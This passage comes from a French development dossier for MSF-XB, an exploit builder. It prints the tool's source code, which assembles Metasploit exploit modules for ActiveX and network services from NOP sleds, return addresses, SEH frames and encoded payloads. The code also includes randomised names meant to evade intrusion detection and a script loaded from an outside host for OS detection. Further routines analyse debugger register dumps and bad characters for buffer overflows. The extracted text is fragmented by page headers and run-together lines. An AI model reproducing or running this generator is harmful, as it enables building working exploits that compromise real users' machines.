AUTRE CASMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sock.put( '"+ COMBO_COMMANDE..ValeurAffichée +"' + "+Caract(34)+" "+Caract(34)+" + sploit)"+ TAB+ "# + "+Caract(34)+"\r\n\r\n"+Caract(34)+RC+RC

FINFIN

FINMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"sleep(0.25)"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"handler"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"disconnect"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+"end"+RC+RC

SINON //ON EXPLOITE UN ACTIVEX (.OCX)//*************************************************** EXPLOIT ACTIVEX **************************************************MSFXB_Editor.EXPLOIT_CODE+=TAB+"def on_request_uri(cli, request)"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Re-generate the payload"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"return if ((p = regenerate_payload(cli)) == nil)"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

//Détection du Client// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Pick the right target"+RC

Page 665: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 670

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"case request['User-Agent']"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"when /Windows (NT |)4\.0/"+RC //NT4// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"ret = target['Rets'][0]"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"when /Windows (NT |)5\.0/"+RC //2000// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"ret = target['Rets'][1]"+RC// //MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"when /Windows NT 5.1/"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"when /Windows (NT |)5\.1/"+RC //XP// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"ret = target['Rets'][2]"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"when /Windows (NT |)5\.2/"+RC //2003// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"ret = target['Rets'][3]"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"when /Windows (NT |)6\.0/"+RC //Vista// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"ret = target['Rets'][4]"+RC//// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"else"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"print_error("+caract(34)+"Unsupported target: #{request['User-Agent']}"+caract(34)+")"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"cli.send_response(create_response(404, 'File not found'))"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+TAB+"return"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"end"+RC //case// MSFXB_Editor.EXPLOIT_CODE+=RC

// Remplacé par os_detect.js :// fctOS_DETECT() //Inclusion dans l'exploit du code de détectionde l'OS par JavaScript

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Build out the message"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg = " //+RC

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"make_nops(1014 - p.encoded.length) + # NOP sled before the payload"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"p.encoded + # store the payload"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"generate_seh_record(target['Rets'][0]) + # set up the SEH frame"+RC//// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+caract(34)+"\x90\xe9\x13\xfc\xff\xff"+caract(34)+" # jmp -1000"+RC// MSFXB_Editor.EXPLOIT_CODE+=RC

//Construction de l'exploit à partir de la TABLE_DesignSI PAS TABLE_Design..Vide ALORS

nLongueurTotaleBuf is int

nNbLigne is int=TableOccurrence(TABLE_Design)nLigne is intPOUR nLigne=1 A nNbLigne

SELON TABLE_Design[nligne][1]..ValeurAffichéeCAS "NOP"

SI TABLE_Design[nLigne+1][1]..ValeurAffichée<>"" ALORS//et (TABLE_Design[nLigne+1][1]..ValeurAffichée<>"RET" et INT_AUTO_JAVASCRIPT=0) ALORS//Ligne suivante non vide: on ajoute un + en fin de ligne

SI TABLE_Design[nLigne+1][1]..ValeurAffichée="PAYLOAD" ALORS //Ligne suivante=PAYLOAD

Page 666: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 671

SI TABLE_Design[nLigne][3]="" ALORS //Pas de valeur pour les nopsSI TABLE_Design[nLigne+1][2] ALORS //Longueur du payload spécifiée: on l'ajoute à la longueur de nops

nLongueurTotaleBuf= TABLE_Design[nLigne][2]+TABLE_Design[nLigne+1][2]MSFXB_Editor.EXPLOIT_CODE+="make_nops("+ nLongueurTotaleBuf +" - payload.encoded.length)"

SINON //Pas de longueur de payload spécifiée: juste des nops de la longueur spécifiéeMSFXB_Editor.EXPLOIT_CODE+="make_nops("+ TABLE_Design[nLigne][2] +")"//Rq: le payload sera ajouté à la ligne suivante

FINSINON //Valeur spécifiée pour les nops

SI TABLE_Design[nLigne+1][2] ALORS //Longueur du payload spécifiée: on l'ajoute à la longueur de nopsnLongueurTotaleBuf= TABLE_Design[nLigne][2]+TABLE_Design[nLigne+1][2]MSFXB_Editor.EXPLOIT_CODE+=Caract(34)+TABLE_Design[nLigne][3]+Caract(34) +" * "+ nLongueurTotaleBuf +" - payload.encoded.length"

SINON //Pas de longueur de payload spécifiée: juste des nops de la longueur spécifiéeMSFXB_Editor.EXPLOIT_CODE+=Caract(34)+TABLE_Design[nLigne][3]+Caract(34) +" * "+ TABLE_Design[nLigne][2]

FINFIN

SINON //Ligne suivante <> PAYLOAD: juste des nopsSI TABLE_Design[nLigne][3]="" ALORS //Pas de valeur pour les nops

MSFXB_Editor.EXPLOIT_CODE+="make_nops("+ TABLE_Design[nLigne][2] +")" // +" - payload.encoded.length)"

SINON //Valeur spécifiée pour les nopsMSFXB_Editor.EXPLOIT_CODE+=Caract(34)+TABLE_Design[nLigne][3]+Caract(34) +" * "+ TABLE_Design[nLigne][2]// +" - payload.encoded.length"

FINFIN

//MSFXB_Editor.EXPLOIT_CODE+=" # NOP sled before the payload"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

// MSFXB_Editor.EXPLOIT_CODE+=" +"MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg << "

SINON //Ligne suivante vide: juste des nops et pas de +SI TABLE_Design[nLigne][3]="" ALORS //Pas de valeur

MSFXB_Editor.EXPLOIT_CODE+="make_nops("+ TABLE_Design[nLigne][2] +")" // +" - payload.encoded.length)"

SINONMSFXB_Editor.EXPLOIT_CODE+=Caract(34)+TABLE_Design[nLigne][3]+Caract(34) +" * "+ TABLE_Design[nLigne][2]// +" - payload.encoded.length"

FIN//MSFXB_Editor.EXPLOIT_CODE+=" # NOP sled before the payload"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

FIN

Page 667: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 672

CAS "PAYLOAD"MSFXB_Editor.EXPLOIT_CODE+="payload.encoded"SI TABLE_Design[nLigne+1][1]..ValeurAffichée<>"" ALORS //Ligne suivante non vide// MSFXB_Editor.EXPLOIT_CODE+=" +"

//MSFXB_Editor.EXPLOIT_CODE+=" # store the payload"+RCMSFXB_Editor.EXPLOIT_CODE+=RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg << "

SINON//MSFXB_Editor.EXPLOIT_CODE+=" # store the payload"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

FIN

CAS "RET" //ADRESSE DE RETOURSI INT_AUTO_JAVASCRIPT..Visible=Vrai ET INT_AUTO_JAVASCRIPT=1 ET (TABLE_Design[nLigne][2]=0 OU TABLE_Design[nLigne][2]=4) ALORS

// // if (target.name == 'Automatic JS')//// //Adresse de retour retrouvée par JS (os_detect.js)// si nospace(COMBO_RetType..ValeurAffichée)<>"" alors// //On transforme le Type de RET pour être compatible avec os_detect.js// sMonRET is string= NoSpace(COMBO_RetType..ValeurAffichée)// sMonRET= lower(sMonRET)// si ChaîneOccurrence(smonret, "jump")>0 alors sMonRET= remplace(smonret, "jump", "jmp")// SI ChaîneOccurrence(sMonRET, "pop")=2 alors sMonRET="pop pop ret"//// // MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+ "document.write(giveMeRET("+Caract(34)+ sMonRET +Caract(34)+"));"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+ caract(34)+"+giveMeRET('"+ sMonRET +"')"+caract(34)+rc// sinon// // MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+ "document.write(giveMeRET("+caract(34)+ "jmp esp" +caract(34)+"));"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+ "+giveMeRET("+Caract(34)+ "jmp esp" +Caract(34)+");"+rc// fin

SINON//[target.ret].pack('V')SI TABLE_Design[nLigne][3]="" ALORS// MSFXB_Editor.EXPLOIT_CODE+= "ret"+RC

MSFXB_Editor.EXPLOIT_CODE+= "[target.ret].pack('V')"+RCSINON

SI Gauche(TABLE_Design[nLigne][3],2)="0x" ALORS //On vire le 0x du débutsAdresseRetour is string=Milieu(TABLE_Design[nLigne][3],3)MSFXB_Editor.EXPLOIT_CODE+= Caract(34)+ ASCII2HEX(sAdresseRetour, "") +Caract(34)+RC

SINONMSFXB_Editor.EXPLOIT_CODE+= TABLE_Design[nLigne][3]+RC //!!! Revoir ici la conversion en hexa!

FINFIN

Page 668: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 673

SI TABLE_Design[nLigne+1][1]..ValeurAffichée<>"" ALORS //Ligne suivante non vide// MSFXB_Editor.EXPLOIT_CODE+=" +"MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg << "

FINFIN

CAS "ASM"MSFXB_Editor.EXPLOIT_CODE+= Caract(34)+ Milieu(TABLE_Design[nLigne][2],3) +Caract(34)+RCSI TABLE_Design[nLigne+1][1]..ValeurAffichée<>"" ALORS //Ligne suivante non vide// MSFXB_Editor.EXPLOIT_CODE+=" +"

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg << "FIN

CAS "SLEEP"MSFXB_Editor.EXPLOIT_CODE+="sleep("+ TABLE_Design[nLigne][2] +")"+RCSI TABLE_Design[nLigne+1][1]..ValeurAffichée<>"" ALORS //Ligne suivante non vide// MSFXB_Editor.EXPLOIT_CODE+=" +"

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg << "FIN

CAS "RAW", "BRUT"//rand_text_alphanumeric(270)//Selon la ValeurSELON TABLE_Design[nLigne][3]

CAS "rand_text_alphanumeric"MSFXB_Editor.EXPLOIT_CODE+="rand_text_alphanumeric("+ TABLE_Design[nLigne][2] +")"+RC

CAS "rand_text_alpha", ""MSFXB_Editor.EXPLOIT_CODE+="rand_text_alpha("+ TABLE_Design[nLigne][2] +")"+RC

AUTRE CASIF TABLE_Design[nLigne][2]<>0 ALORS

MSFXB_Editor.EXPLOIT_CODE+=+Caract(34)+TABLE_Design[nLigne][3]+Caract(34) +" * "+ TABLE_Design[nLigne][2]+RCELSE

MSFXB_Editor.EXPLOIT_CODE+=+Caract(34)+TABLE_Design[nLigne][3]+Caract(34) +RCEND

FINSI TABLE_Design[nLigne+1][1]..ValeurAffichée<>"" ALORS //Ligne suivante non vide

SI TABLE_Design[nLigne+1][1]..ValeurAffichée="RET" ET INT_AUTO_JAVASCRIPT=1 ALORSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"mypayload = " +RC

SINON// MSFXB_Editor.EXPLOIT_CODE+=" +"

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"msg << "FIN

FIN

Page 669: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 674

AUTRE CAS

FINFIN

FIN

// SI COMBO_COMMANDE..ValeurAffichée<>"" ALORS//Utilisation de variables avec valeurs aléatoires: anti-IDS/IPSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Generate random variable names"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"vname = rand_text_alpha(rand(100) + 1)"+RC //ID de l'objet (avec longueur aléatoire)SI COMBO_COMMANDE..ValeurAffichée<>"" ALORS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"strname = rand_text_alpha(rand(100) + 1)"+RC //Contiendra l'exploit (avec longueur aléatoire)FINMSFXB_Editor.EXPLOIT_CODE+=RC

// fin

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Build the HTML content"+RC//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"content = "+caract(34)+"<html>\n"+caract(34)+" +"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"content = %Q|"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<html>"+RC

//Détection auto de la target par JavaScript?SI INT_AUTO_JAVASCRIPT..Visible=Vrai ET INT_AUTO_JAVASCRIPT=1 ALORS// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"<head>\n"+caract(34)+" +"+RC//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"<script type='text/javascript' language='JavaScript' src='os_detect.js'></script>\n"+caract(34)+" +"+RC

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"</head>\n"+Caract(34)+" +"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<head>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<script type='text/javascript' language='JavaScript' src='http://www.securinfos.info/jerome/os_detect.js'></script>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"</head>"+RC

FIN

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<iframe src='aim:goaway?message=#{msg}'>"+caract(34)+rc //Ex: aim_goawaySI SAI_CLSID<>"" ALORS//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+caract(34)+"<object classid='clsid:"+SAI_CLSID+"' id='#{vname}'></object>"+caract(34)+" +"+RC

IF SAI_PARAM_NAME<>"" ALORSMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<object classid='clsid:"+SAI_CLSID+"' id='#{vname}'>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<param name='" + SAI_PARAM_NAME +"' value='" + SAI_PARAM_VALEUR +"'>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"</object>"+RC

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<object classid='clsid:"+SAI_CLSID+"' id='#{vname}'></object>"+RC

END

Page 670: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 675

FIN

SI COMBO_COMMANDE..ValeurAffichée="" ALORS

SINON //COMBO_COMMANDE..ValeurAffichée<>""// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+caract(34)+"<script language='javascript'>\n"+caract(34)+" +"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"var #{vname} = document.getElementById('#{vname}');\n"+caract(34)+" +"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"var #{strname} = new String('#{msg}');\n"+Caract(34)+" +"+RC//On stocke le buffer (l'exploit)

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"<script language='javascript'>"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"var #{vname} = document.getElementById('#{vname}');"+RCSI INT_AUTO_JAVASCRIPT..Visible=Vrai ET INT_AUTO_JAVASCRIPT=1 ALORS

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"var #{strname} = new String('#{msg}'"//Adresse de retour retrouvée par JS (os_detect.js)SI NoSpace(COMBO_RetType..ValeurAffichée)<>"" ALORS

//On transforme le Type de RET pour être compatible avec os_detect.jssMonRET is string= NoSpace(COMBO_RetType..ValeurAffichée)sMonRET= Lower(sMonRET)SI ChaîneOccurrence(sMonRET, "jump")>0 ALORS sMonRET= Remplace(sMonRET, "jump", "jmp")SI ChaîneOccurrence(sMonRET, "pop")=2 ALORS sMonRET="pop pop ret"

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+ "document.write(giveMeRET("+Caract(34)+ sMonRET +Caract(34)+"));"+RCMSFXB_Editor.EXPLOIT_CODE+=" + giveMeRET('"+ sMonRET +"')"

SINON// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+ "document.write(giveMeRET("+caract(34)+ "jmp esp" +caract(34)+"));"+RCMSFXB_Editor.EXPLOIT_CODE+=" + giveMeRET('jmp esp')"

FIN MSFXB_Editor.EXPLOIT_CODE+=" + '#{mypayload}');"+RC //On stocke le buffer (l'exploit)

SINONMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"var #{strname} = new String('#{msg}');"+RC //On stocke le buffer (l'exploit)

FIN//On appele la fonction vulnérable de l'ActiveX:

//MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+caract(34)+"#{vname}."+ COMBO_COMMANDE..ValeurAffichée +"(#{strname});\n"+Caract(34)+" +"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"#{vname}."+ COMBO_COMMANDE..ValeurAffichée +"(#{strname});"+RC

// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"</script>"+Caract(34)+" +"+RC// MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+Caract(34)+"</html>"+Caract(34)+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"</script>"+RCFIN

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"</html>"+RC

Page 671: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 676

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+TAB+"|"+RCMSFXB_Editor.EXPLOIT_CODE+=RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"print_status("+Caract(34)+"Sending exploit to #{cli.peerhost}:#{cli.peerport}..."+Caract(34)+")"+RC+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Transmit the response to the client"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"send_response_html(cli, content)"+RC+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"# Handle the payload"+RCMSFXB_Editor.EXPLOIT_CODE+=TAB+TAB+"handler(cli)"+RC

MSFXB_Editor.EXPLOIT_CODE+=TAB+"end"+RC // on_request_uri

FIN

MSFXB_Editor.EXPLOIT_CODE+="end"+RC //class ExploitsMSFXB_Editor.EXPLOIT_CODE+="end"+RC+RC //module Msf

MSFXB_Editor.EXPLOIT_CODE+="#Edited with MSF-eXploit Builder by Jerome Athias - https://www.securinfos.info"+RC

//On charge le code de l'exploit dans le champ de saisie RTFMSFXB_Editor.SCRTF.SaisieTexte=MSFXB_Editor.EXPLOIT_CODE

//MSFXB_Editor.COLORATION_SYNTAXIQUE()

RepriseSaisie(MSFXB_Editor.NOM)

Clic sur IMG_Image1LanceAppliAssociée("https://www.securinfos.info/index.php")

Initialisation de RHOSTSI MoiMême="" ALORS// moimeme="127.0.0.1"

MoiMême=NetAdresseIP()FIN

A chaque modification de SAI_AnalyseSI MoiMême<>"" ALORS

//On analyse les registres

Page 672: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 677

fSupprime("registers.txt")fSauveTexte("registers.txt", MoiMême)

sValRegistre is string

nNuFic=fOuvre("registers.txt",foLecture)sMachaine is string=fLitLigne(nNuFic)TANTQUE sMachaine<>EOT

//Si dans la fenêtre en bas à gauche de OllyDbg, la 1ère adresse correspond à une valeur d'un registre//ex: ESP, alors on utilise un opcode jmp ESP - call ESP - push ESP, ret pour sur-écrire EIP//NB: on utilisera la mêm adresse dans le registre sur-écrit (ex: EDX)

SELON Gauche(sMachaine, 4)CAS "EIP "

sValRegistre =Milieu(sMachaine, 4)SI ChaîneOccurrence(MoiMême, sValRegistre)>0 ALORS

//La valeur du registre EIP est contenue dans la pattern :-)Message("EIP est sur-écrit: on va utiliser un opcode de type jmp ESP") //jmp ESP - call ESP - push ESP, ret//Exemple: War-FTP

FINCAS "EDX "

sValRegistre =Milieu(sMachaine, 4)SI ChaîneOccurrence(MoiMême, sValRegistre)>0 ALORS

//La valeur du registre EIP est contenue dans la pattern :-)Message("EDX est sur-écrit: on va changer la dernière instruction ASM")////Exemple: NaviCOPA HTTP, voir vidéo Writing_Reliable_Exploits_I// Si: CMP DWORD PTR DS:[EDX], 0// Alors on change EDX en: 0042F000 DANS OLLYDBG EIP sera ensuite sur-écrit//...//Pour faire un saut au dessus de EDX, on utilise le code ASM:// \xeb\x04

FINFINsMachaine=fLitLigne(nNuFic)

FINfFerme(nNuFic)fSupprime("registers.txt")

FIN

Initialisation de SAI_ASCII1SI MoiMême=0 ALORS MoiMême=1

Initialisation de SAI_ASCII2

Page 673: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 678

SI MoiMême=0 ALORS MoiMême=255

A chaque modification de SAI_ASM

SI MoiMême<>"" ALORS//On exécute l'analyse 1ExécuteTraitement(SAI_REGISTRES,trtModification)

//On exécute la dernière instruction ASMSI ChaîneOccurrence(MoiMême, "CMP DWORD PTR DS:[EDX],0") >0 ALORS

SAI_Analyse+="EDX doit pointer vers un emplacement mémoire ne contenant pas de 0" +RC+RC //Exemple: NaviCOPA HTTPFIN

FIN

A chaque modification de SAI_BadcharsDumpSI MoiMême<>"" ALORS

Message()

//On analyse le dump mémoire pour identifier les badcharssMonDump is string

//1) On sauvegarde le dumpSI PAS fSauveTexte("dump.txt", MoiMême) ALORS

ErreurInfo()RETOUR

FIN

//2) On lit le dump pour récupérer uniquement le "Hex dump" : on vire les "Address" au début et le "ASCII" à la fin de chaque lignenNuFic=fOuvre("dump.txt", foLecture)SI nNuFic<>-1 ALORS

sMaChaine is string=fLitLigne(nNuFic)TANTQUE smachaine<>EOT

SI ChaîneOccurrence(sMaChaine, " ")>1 ALORSsMonDump+= ExtraitChaîne(sMaChaine, 2, " ")

SINONsMonDump+= ExtraitChaîne(sMaChaine, 1, " ")

FINsmachaine=fLitLigne(nNuFic)

FINFINfFerme(nNuFic)fSupprime("dump.txt")

Page 674: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 679

sMonDump=Remplace(sMonDump, " ", "")

//Conversion de sMonDump en HEXA type "\x"sMonDumpHexa is stringnTaille is int=Taille(smondump)nMonCpt is intPOUR nmoncpt=1 A nTaille

sMonDumpHexa+= "\x" + Milieu(sMonDump, nMonCpt, 2)nMonCpt++

FIN

// Info(sMonDump)// Info(sMonDumpHexa)

//NB: sMonDump ne sert plus

sSAI_PATTERN_HEXA is string=SCFindReplaceTXT.SAI_PATTERNSI Gauche(SCFindReplaceTXT.SAI_PATTERN, 2)="\x" ET modulo(Taille(SCFindReplaceTXT.SAI_PATTERN),2)=0 ALORS//SAI_PATTERN est en ASCII type "\x"

SINON //On la convertitsSAI_PATTERN_HEXA= ASCII2HEX(SCFindReplaceTXT.SAI_PATTERN, "")

FIN

//On cherche le dump dans SAI_PATTERN

nMonCpt=4sMonDump=Milieu(sMonDumpHexa,1, 4)TANTQUE ChaîneOccurrence(sSAI_PATTERN_HEXA, sMonDump)>0

Trace(smondump)nMonCpt+=4sMonDump=Milieu(sMonDumpHexa,1, nMonCpt)

FIN// info(sMonDump)

//On enlève le dernier "caractère"smondump=Gauche(smondump, Taille(smondump)-4)

//On cherche dans sSAI_PATTERN_HEXA quel le caractère qui manque dans le dump, et on l'ajoute à la liste des badcharssMonBadChar is string= Gauche( ExtraitChaîne(sSAI_PATTERN_HEXA, 1, sMonDump, DepuisFin) ,4)SI sMonBadChar<>"" ET Gauche(sMonBadChar,2)="\x" ALORS

//Si le badchar n'est pas déjà présent dans PAYLOAD_BADCHARSSI ChaîneOccurrence(PAYLOAD_BADCHARS, sMonBadChar)=0 ALORS

PAYLOAD_BADCHARS+= sMonBadChar

SCFindReplaceTXT.SAI_PATTERN= Remplace(SCFindReplaceTXT.SAI_PATTERN, sMonBadChar, "")Message(sMonBadChar +"détecté comme caractère interdit -> supprimé de la pattern")

Page 675: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 680

FINFIN

FIN

Initialisation de SAI_Commande_NmapSI MoiMême="" ALORS MoiMême="nmap -P0 -sV -p RPORT RHOST"

A chaque modification de SAI_DumpRegSI MoiMême<>"" ALORS

//On analyse les registresfSupprime("registers.txt")fSauveTexte("registers.txt", MoiMême)

sValRegistre is string

nNuFic=fOuvre("registers.txt",foLecture)sMachaine is string=fLitLigne(nNuFic)TANTQUE sMachaine<>EOT

//Si dans la fenêtre en bas à gauche de OllyDbg, la 1ère adresse correspond à une valeur d'un registre//ex: ESP, alors on utilise un opcode jmp ESP - call ESP - push ESP, ret pour sur-écrire EIP//NB: on utilisera la mêm adresse dans le registre sur-écrit (ex: EDX)

SELON Gauche(sMachaine, 4)CAS "EIP "

sValRegistre =Milieu(sMachaine, 4)SI ChaîneOccurrence(MoiMême, sValRegistre)>0 ALORS

//La valeur du registre EIP est contenue dans la pattern :-)Message("EIP est sur-écrit: on va utiliser un opcode de type jmp ESP") //jmp ESP - call ESP - push ESP, ret//Exemple: War-FTP

FINCAS "EDX "

sValRegistre =Milieu(sMachaine, 4)SI ChaîneOccurrence(MoiMême, sValRegistre)>0 ALORS

//La valeur du registre EIP est contenue dans la pattern :-)Message("EDX est sur-écrit: on va changer la dernière instruction ASM")////Exemple: NaviCOPA HTTP, voir vidéo Writing_Reliable_Exploits_I// Si: CMP DWORD PTR DS:[EDX], 0// Alors on change EDX en: 0042F000 DANS OLLYDBG EIP sera ensuite sur-écrit//...//Pour faire un saut au dessus de EDX, on utilise le code ASM:

Page 676: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 681

// \xeb\x04

FINFINsMachaine=fLitLigne(nNuFic)

FINfFerme(nNuFic)fSupprime("registers.txt")

FIN

Initialisation de SAI_ParamPayloadSI EnModeTest() ET MoiMême="" ALORS

MoiMême="EXITFUNC=seh " // opt_EXITFUNCMoiMême+="USER=ja " // opt_USERMoiMême+="PASS=ja" // opt_PASSMoiMême+="" // max_sizeMoiMême+="" // badchars Format: 0x00 0x01

FIN

Initialisation de SAI_PATTERN_CARMoiMême="A"

Sortie de SAI_PROCESSUS// si moimeme<>"" alors// fctInfoProcessus()// FIN

A chaque modification de SAI_REGISTRESSAI_Analyse=""

SI MoiMême<>"" ALORSSI SCFindReplaceTXT.SAI_PATTERN<>"" ALORS

//On analyse les registresfSupprime("registers.txt")

Page 677: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 682

fSauveTexte("registers.txt", MoiMême)

sValRegistre is string

